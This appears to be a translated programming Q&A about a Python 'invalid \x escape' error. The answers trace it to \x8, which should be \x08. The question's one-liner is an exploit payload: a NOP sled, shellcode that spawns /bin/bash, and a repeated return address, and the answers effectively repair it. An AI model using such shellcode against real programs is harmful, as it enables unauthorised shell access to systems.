python -c 'print "\x90" * 348 + "\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x8\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80" + "\x30\xd1\xff\xff" * 35'
ValueError: invalid \x escape
知道是什么导致了这个错误吗?
答案 0 :(得分:13)
此字符串中包含\x8\
,请将其更改为\x08
答案 1 :(得分:7)
\x8
。它应该是每个转义两个十六进制数字。
答案 2 :(得分:4)
\x8
不正确。
答案 3 :(得分:1)
另请注意,如果您未在多行注释中的\
之前转义x
,则可能会发生此错误。
e.g。在Python 2.7中:
def fn():
""" Describing a file in the comments:
C:\aaa\bbb\xxx\abc.txt
"""
return None
fn()
提出异常:
ValueError:invalid \ x escape
可以通过将C:\aaa\bbb\xxx\abc.txt
更改为C:\aaa\bbb\\xxx\abc.txt